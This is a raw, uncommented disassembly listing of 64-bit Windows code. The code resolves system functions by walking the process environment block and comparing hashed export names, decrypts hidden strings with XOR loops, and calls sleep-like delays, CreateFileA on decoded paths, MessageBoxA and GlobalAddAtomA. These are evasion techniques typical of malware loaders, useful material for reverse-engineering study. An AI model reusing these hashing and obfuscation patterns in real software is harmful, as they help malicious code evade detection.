lea rax, [rsp + 0x40]
mov r8, r12
nop
inc r8
cmp byte [rax + r8], 0
jne 0x140026a10
lea rdx, [rsp + 0x40]
lea rcx, [rbp - 8]
call fcn.140020980
lea r8, [rbp - 8]
lea rdx, [rbp + 0x2c8]
lea rcx, [0x1400c6a20]
call fcn.140046f30
nop
cmp byte [0x1400c6c30], 0
jne 0x140026ba6
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140026ad6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140026ad6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0xccb5e1bb
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140026ad1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140026ab0
cmp r8d, 0x9678ac1e
je 0x140026adb
test r9d, r9d
jne 0x140026a90
mov rax, qword [rax]
jmp 0x140026a60
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov ecx, 0x64
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140026b86
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140026b86
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x6714158f
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140026b81
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140026b60
cmp r8d, 0x35415b0f
je 0x140026b8b
test r9d, r9d
jne 0x140026b40
mov rax, qword [rax]
jmp 0x140026b10
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x208], xmm0
mov qword [rbp + 0x218], rax
lea rdx, [rbp + 0x2c8]
lea rcx, [rbp + 0x158]
call fcn.14002a140
mov r8, rax
lea rdx, [rbp + 0x208]
lea rcx, [0x1400c6a20]
call fcn.14003da30
nop
cmp byte [0x1400c6c30], 0
jne 0x140026d56
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140026c86
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140026c86
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x45599e94
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140026c81
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140026c60
cmp r8d, 0x88d9f857
je 0x140026c8b
test r9d, r9d
jne 0x140026c40
mov rax, qword [rax]
jmp 0x140026c10
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov ecx, 0x64
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140026d36
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140026d36
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x2ef62a5e
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140026d31
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140026d10
cmp r8d, 0xa9995de6
je 0x140026d3b
test r9d, r9d
jne 0x140026cf0
mov rax, qword [rax]
jmp 0x140026cc0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
mov rax, qword [str.YMUV_YZ_]
mov qword [rsp + 0x40], rax
cmp byte [0x1400aac07], 0
je 0x140026ec3
mov r8d, r15d
cmp r13d, 2
jl 0x140026e8c
movdqa xmm4, xmmword [0x1400b82b0]
mov esi, 4
movd xmm6, esi
mov r14d, Ordinal_32
movd xmm5, r14d
movdqa xmm2, xmmword [0x1400b8260]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400b8280]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400b8290]
packuswb xmm2, xmm2
mov eax, dword [str.8888888888888888]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x40]
pxor xmm2, xmm1
movd dword [rsp + 0x40], xmm2
movdqa xmm3, xmmword [0x1400b8270]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400b8280]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400b8290]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x44]
pxor xmm2, xmm1
movd dword [rsp + 0x44], xmm2
jmp 0x140026ecd
lea r9, [rsp + 0x40]
mov eax, 0x3521cfb3
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x140026e91
mov r14d, Ordinal_32
lea esi, [r14 - 0x1b]
mov qword [rbp + 0x18], r15
mov qword [rbp + 0x28], r15
mov qword [rbp + 0x30], reloc.WS2_32.dll_ntohs
lea rax, [rsp + 0x40]
mov r8, r12
inc r8
cmp byte [rax + r8], 0
jne 0x140026ee5
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x18]
call fcn.140020980
lea r8, [rbp + 0x18]
lea rdx, [rbp + 0x270]
lea rcx, [0x1400c6a20]
call fcn.140046f30
nop
cmp byte [0x1400c6c30], 0
jne 0x140027086
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140026fb6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140026fb6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x98697653
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140026fb1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140026f90
cmp r8d, 0xe0deddd6
je 0x140026fbb
test r9d, r9d
jne 0x140026f70
mov rax, qword [rax]
jmp 0x140026f40
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov ecx, 0x64
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140027066
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140027066
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x84060543
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140027061
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140027040
cmp r8d, 0x3102ea73
je 0x14002706b
test r9d, r9d
jne 0x140027020
mov rax, qword [rax]
jmp 0x140026ff0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140027116
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140027116
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0xa82b4273
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140027111
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400270f0
cmp r8d, 0xfc637436
je 0x14002711b
test r9d, r9d
jne 0x1400270d0
mov rax, qword [rax]
jmp 0x1400270a0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov ecx, 0xbb8
call rdx
movups xmm0, xmmword [0x1400aac50]
movups xmmword [rbp - 0x68], xmm0
mov eax, dword [str.8__sM]
mov dword [rbp - 0x58], eax
movzx eax, word [0x1400aac64]
mov word [rbp - 0x54], ax
cmp byte [0x1400aac65], 0
je 0x140027300
mov r8d, r15d
cmp r13d, 2
jl 0x1400272b7
movdqa xmm5, xmmword [0x1400b8260]
movdqa xmm4, xmmword [0x1400b82b0]
movd xmm6, esi
movdqa xmm7, xmmword [0x1400b8280]
movd xmm8, r14d
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rbp + 0x1a0], xmm0
lea rcx, [rbp - 0x64]
mov edx, dword [rbp + 0x1a0]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400b8290]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400b8290]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1400271b0
cmp r8d, 0x16
jge 0x140027300
movsxd rax, r8d
lea r9, [rbp - 0x68]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x16
jl 0x1400272d0
mov r9d, Ordinal_41
lea r8, str.
lea rdx, [rbp - 0x68]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
cmp eax, 6
jne 0x140027323
call fcn.140021ee0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400273b6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400273b6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0xcfd479bf
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400273b1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140027390
cmp r8d, 0xe743df62
je 0x1400273bb
test r9d, r9d
jne 0x140027370
mov rax, qword [rax]
jmp 0x140027340
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov ecx, 0xbb8
call rdx
movups xmm0, xmmword [0x1400aab98]
movups xmmword [rbp + 0xb8], xmm0
movups xmm1, xmmword [0x1400aaba8]
movups xmmword [rbp + 0xc8], xmm1
movsd xmm0, qword [0x1400aabb8]
movsd qword [rbp + 0xd8], xmm0
movzx eax, word [0x1400aabc0]
mov word [rbp + 0xe0], ax
movzx eax, byte [0x1400aabc2]
mov byte [rbp + 0xe2], al
mov r8d, r15d
cmp r13d, 2
jl 0x140027577
movdqa xmm5, xmmword [0x1400b8260]
movdqa xmm4, xmmword [0x1400b82b0]
movd xmm6, esi
movdqa xmm7, xmmword [0x1400b8280]
movd xmm8, r14d
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rbp + 0x1a0], xmm0
lea rcx, [rbp + 0xbc]
mov edx, dword [rbp + 0x1a0]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400b8290]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400b8290]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140027470
cmp r8d, 0x2b
jge 0x1400275c0
movsxd rax, r8d
lea r9, [rbp + 0xb8]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2b
jl 0x140027590
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0x80000000
lea rcx, [rbp + 0xb8]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
inc rax
test rax, 0xfffffffffffffffe
jne 0x140027b23
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], r15
mov rsi, qword [rbp + 0x208]
mov r14, qword [rbp + 0x210]
cmp rsi, r14
je 0x140027649
mov rbx, r14
sub rbx, rsi
mov rdx, rbx
lea rcx, [rbp - 0x80]
call fcn.140021e00
mov rdi, qword [rbp - 0x80]
mov r8, rbx
mov rdx, rsi
mov rcx, rdi
call sub.VCRUNTIME140.dll_memmove
sub rdi, rsi
add rdi, r14
mov qword [rbp - 0x78], rdi
lea rcx, [rbp - 0x80]
call fcn.140022b40
movups xmm0, xmmword [0x1400aab98]
movups xmmword [rbp + 0xe8], xmm0
movups xmm1, xmmword [0x1400aaba8]
movups xmmword [rbp + 0xf8], xmm1
movsd xmm0, qword [0x1400aabb8]
movsd qword [rbp + 0x108], xmm0
movzx eax, word [0x1400aabc0]
mov word [rbp + 0x110], ax
movzx eax, byte [0x1400aabc2]
mov byte [rbp + 0x112], al
mov r8d, r15d
mov ebx, 4
lea edi, [rbx + 0x1b]
cmp r13d, 2
jl 0x1400277f7
movdqa xmm5, xmmword [0x1400b8260]
movdqa xmm4, xmmword [0x1400b82b0]
movd xmm6, ebx
movdqa xmm7, xmmword [0x1400b8280]
movd xmm8, edi
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rbp + 0x1a0], xmm0
lea rcx, [rbp + 0xec]
mov edx, dword [rbp + 0x1a0]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400b8290]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400b8290]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x1400276f0
cmp r8d, 0x2b
jge 0x140027840
movsxd rax, r8d
lea r9, [rbp + 0xe8]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2b
jl 0x140027810
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0x80000000
lea rcx, [rbp + 0xe8]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
cmp rax, 0xffffffffffffffff
jne 0x140027b06
mov eax, dword [str._t_t_r_KSMYO_]
mov dword [rbp + 0x1a0], eax
cmp byte [0x1400aac43], 0
je 0x140027962
mov r8d, r15d
cmp r13d, 2
jl 0x140027925
movdqa xmm3, xmmword [0x1400b8260]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x1400b82b0]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1400b82b0]
shufps xmm2, xmm0, 0xdd
movd xmm0, ebx
psrad xmm2, xmm0
movd xmm0, edi
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1400b8280]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400b8290]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.8888888888888888]
movd xmm0, eax
pxor xmm2, xmm0
movd dword [rbp + 0x1a0], xmm2
jmp 0x140027962
lea r9, [rbp + 0x1a0]
nop dword [rax]
mov eax, 0x3521cfb3
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140027930
mov qword [rbp + 0x38], r15
mov qword [rbp + 0x48], r15
mov qword [rbp + 0x50], reloc.WS2_32.dll_ntohs
lea rax, [rbp + 0x1a0]
mov r8, r12
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140027980
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x38]
call fcn.140020980
lea rdx, [rbp + 0x38]
lea rcx, [0x1400c6a20]
call fcn.140041bf0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140027a36
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140027a36
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0xed30f615
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140027a31
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140027a10
cmp r8d, 0x897fbb18
je 0x140027a3b
test r9d, r9d
jne 0x1400279f0
mov rax, qword [rax]
jmp 0x1400279c0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov ecx, 0x3e8
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140027ae6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140027ae6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x32dfd773
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140027ae1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140027ac0
cmp r8d, 0xb348bfa3
je 0x140027aeb
test r9d, r9d
jne 0x140027aa0
mov rax, qword [rax]
jmp 0x140027a70
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
lea rcx, [rbp + 0x270]
cmp qword [rbp + 0x288], 0x10
cmovae rcx, qword [rbp + 0x270]
call qword [sym.imp.KERNEL32.dll_GlobalAddAtomA]
mov eax, dword [0x1400b7f4c]
mov dword [rbp + 0x1a0], eax
cmp byte [str._HKSUH], 0
je 0x140027c22
mov r8d, r15d
cmp r13d, 2
jl 0x140027bdd
movdqa xmm3, xmmword [0x1400b8260]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x1400b82b0]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1400b82b0]
shufps xmm2, xmm0, 0xdd
mov r14d, 4
movd xmm0, r14d
psrad xmm2, xmm0
mov ecx, Ordinal_32
movd xmm0, ecx
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1400b8280]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400b8290]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.8888888888888888]
movd xmm0, eax
pxor xmm2, xmm0
movd dword [rbp + 0x1a0], xmm2
jmp 0x140027c28
lea r9, [rbp + 0x1a0]
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x3521cfb3
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140027bf0
mov r14d, 4
mov qword [rbp + 0x58], r15
mov qword [rbp + 0x68], r15
mov qword [rbp + 0x70], reloc.WS2_32.dll_ntohs
lea rax, [rbp + 0x1a0]
mov r8, r12
inc r8
cmp byte [rax + r8], 0
jne 0x140027c42
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x58]
call fcn.140020980
lea rdx, [rbp + 0x58]
lea rcx, [0x1400c6a20]
call fcn.140041bf0
movups xmm0, xmmword [str.uZP]
